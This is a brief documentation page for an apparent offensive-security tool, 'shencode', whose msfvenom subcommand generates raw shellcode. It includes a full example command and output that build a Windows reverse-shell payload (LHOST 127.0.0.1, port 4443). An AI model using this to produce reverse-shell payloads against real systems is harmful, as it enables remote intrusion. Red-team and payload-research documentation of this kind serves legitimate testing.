Create Shellcodes with msfvenom
Description
You can create your payloads with the metasploit framework. Please make sure your msf binary directory is included to %PATH%
Command
shencode core msfvenom [-h] [-c CMD]
options:
--help show this help message and exit
--cmd CMD msfvenom command line, use quotation marks and equal sign e.g --cmd="-p ..."
Example output
shencode core msfvenom --cmd="-p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4443 -f raw -o payload.bin"
[*] create payload
Argument List: ['msfvenom.bat', '-p', 'windows/shell_reverse_tcp', 'LHOST=127.0.0.1', 'LPORT=4443', '-f', 'raw', '-o', 'payload.bin']
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Saved as: payload.bin